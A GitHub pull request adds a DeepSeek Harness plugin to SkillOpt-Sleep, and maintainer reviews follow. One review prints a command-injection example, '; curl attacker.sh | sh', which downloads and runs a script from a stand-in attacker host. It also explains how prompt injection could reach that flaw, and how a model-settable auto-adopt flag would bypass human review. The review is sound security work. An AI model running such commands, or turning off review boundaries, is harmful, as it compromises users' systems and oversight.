Skip to content

Add DeepSeek Harness (dsh) integration to SkillOpt-Sleep plugins - #237

Open
WODE25500 wants to merge 1 commit into
microsoft:mainfrom
WODE25500:feat/dsh-plugin
Open

Add DeepSeek Harness (dsh) integration to SkillOpt-Sleep plugins#237
WODE25500 wants to merge 1 commit into
microsoft:mainfrom
WODE25500:feat/dsh-plugin

Conversation

@WODE25500

Copy link
Copy Markdown

What

Adds plugins/dsh/ - a DeepSeek Harness integration wrapping the shared
skillopt_sleep engine, following the same pattern as the existing
Claude Code / Codex / Cursor integrations.

DeepSeek Harness (dsh) is the "everything is a plugin" agent framework from
DeepSeek. Its plugins are TypeScript modules exporting apply(ctx) that
register capabilities on the Cordis context.

What's included

Component Purpose
plugins/dsh/src/index.js Cordis plugin registering 7 native tools: skillopt_status, skillopt_dry_run, skillopt_run, skillopt_adopt, skillopt_harvest, skillopt_schedule, skillopt_unschedule
plugins/dsh/cordis.patch.yml bundle patch layer - add dsh-skillopt to any profile's bundles
plugins/dsh/skills/skillopt-sleep/SKILL.md agent skill with operating rules and data-boundary rules
plugins/dsh/scripts/sleep.py bootstrap/self-check runner (same command shape the tools use)
plugins/dsh/package.json npm bundle manifest
plugins/dsh/README.md install + config docs

The plugins/README.md integration table now lists DeepSeek Harness.

Design notes

  • The tools call python -m skillopt_sleep <action> through the dsh ctx.shell
    executor, exactly the same engine and CLI surface the other integrations use.
  • Config mirrors the shared flags (backend, source, model, maxTasks,
    maxSessions, editBudget, preferences, jsonOutput); advanced keys
    still live in the shared ~/.skillopt-sleep/config.json.
  • Default mock backend = zero API spend for plumbing checks.
  • adopt is the only live-change boundary; harvest is read-only.

Validation

  • node --check on the plugin entry passes.
  • python -m skillopt_sleep status and dry-run --backend mock run clean
    against this checkout (no provider calls).
  • Tool argument ? command construction was exercised with a mocked dsh shell
    (explicit args override config defaults; --progress/--auto-adopt/--json
    flags append correctly).

Notes for maintainers

  • The integration assumes the user has dsh installed and a Python 3.10+
    environment with the skillopt_sleep engine (same prerequisite as the other
    integrations).
  • No changes to the shared engine; this is purely an additional wrapper in
    plugins/.

MIT - by contributing, I agree my contributions are licensed under the MIT License.

New plugins/dsh/ integration wrapping the shared skillopt_sleep engine
for DeepSeek Harness: a Cordis plugin registering 7 native skillopt_*
tools (status/dry-run/run/adopt/harvest/schedule/unschedule), a bundled
SKILL.md, a bundle patch layer (cordis.patch.yml), and a bootstrap
script. Register the plugin in the plugins/README.md integration table.
@WODE25500

Copy link
Copy Markdown
Author

@microsoft-github-policy-service agree

@WODE25500

Copy link
Copy Markdown
Author

Awesome appreciate you taking a look

@microsoft-github-policy-service

Copy link
Copy Markdown
Contributor

WODE25500 the command you issued was incorrect. Please try again.

Examples are:

@microsoft-github-policy-service agree

and

@microsoft-github-policy-service agree company="your company"

@Yif-Yang

Copy link
Copy Markdown
Contributor

Thanks for adding this integration. I checked the current head against DeepSeek Harness v0.1.0-rc.8, and there are a few runtime/package blockers to address before this is mergeable:

  • src/index.js:202-210 does not follow the ctx.shell contract. run() takes a resolved ShellExecSpec, so the call needs to be shell.run(shell.resolve({ ... })); bypassing resolve() skips the executor's workdir, output-cap, and sandbox defaults. Also, rc.8 returns stdout/stderr as CollectedOutput objects ({ text, truncated, spillPath }), not strings, so the current checks discard successful command output and render (no output). Please consume .text, preserve truncation/spill information, and cover nonzero/timeout/abort cases.
  • buildCommand() concatenates model/config-controlled values directly into a Bash/PowerShell command. Ordinary paths or preferences containing spaces are split incorrectly, and shell metacharacters allow command injection. Please use a safe argv/encoding boundary for the actual platform and add Bash and pwsh tests for spaces, quotes, and metacharacters.
  • The published bundle is incomplete: npm pack --dry-run omits cordis.patch.yml, while package.json#dsh.bundle.patch points to it. Please include the patch in files and declare @deepseek-ai/schemastery as a direct dependency because it is imported directly.

Please also add a clean-package canary against DSH rc.8 that loads the packed bundle and invokes at least skillopt_status, asserting real stdout and exit/error behavior; the current repository-only synthetic experiment does not exercise this plugin path.

@Yif-Yang Yifan Yang (Yif-Yang) left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for this, and apologies for the slow first response.

First: I want to be clear that I verified DeepSeek Harness is real before reviewing. I was initially skeptical, but @deepseek-ai/cordis (4.0.1) and @deepseek-ai/dsh-tools both exist on npm under DeepSeek's real scope, and github.com/deepseek-ai/deepseek-harness resolves. The premise is sound and the integration is welcome.

The blockers are in src/index.js, and they're all the same root cause.

Blocker 1 — buildCommand joins argv into a shell string

plugins/dsh/src/index.js:80 ends with parts.join(' '), and the result goes to shell.run({command}) with no quoting anywhere. Every other plugin in this repo passes an argv list to subprocess.run without a shell — plugins/copilot/mcp_server.py:118, plugins/devin/mcp_server.py:109. This is the only integration that builds a string.

Two consequences, both of which I reproduced:

(a) Your own documented example is broken. cordis.patch.yml:18 shows preferences: 'Prefer pytest. Keep commits imperative.'. Running your buildCommand on it:

python -m skillopt_sleep run --preferences Prefer pytest. Keep commits imperative.

Five stray argv words. argparse will not accept this. The feature as documented cannot work.

(b) Command injection. project, model, preferences etc. are declared as model-facing tool parameters, so their values are chosen by the LLM at runtime, not just by the operator's config:

python -m skillopt_sleep adopt --project /tmp/x; curl attacker.sh | sh

sh parses that as two commands. A prompt-injected transcript is enough to reach it.

Fix: pass an array. If shell.run requires a string, quote every interpolated value.

Blocker 2 — autoAdopt is exposed as a model-callable parameter

index.js:128 declares autoAdopt as a boolean tool parameter and :133 forwards --auto-adopt. The staging/adopt split exists specifically so a human reviews before anything touches live files — skillopt_adopt's own description calls itself "the live-change boundary." Letting the model set autoAdopt lets it cross that boundary unattended. Please make auto-adopt operator-config-only, not a tool parameter.

Should fix — plugin registry

tests/test_plugin_sync.py:13 has a PLUGIN_SKILL_MDS registry driving three parity tests; dsh isn't in it, so this plugin is unverified by any test. Adding it there is a one-line change and gets you real coverage.

Minor

  • SKILL.md and docs/README.zh.md are Chinese-only. Other plugins lead with English; a README.zh.md alongside an English original is the established pattern.

Suite on your branch: 1097 passed, 10 skipped, 130 subtests — no regressions, since nothing touches the shared engine.

The structure and the seven-tool surface are right. Fix the argv handling and the auto-adopt exposure and I'll merge this.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants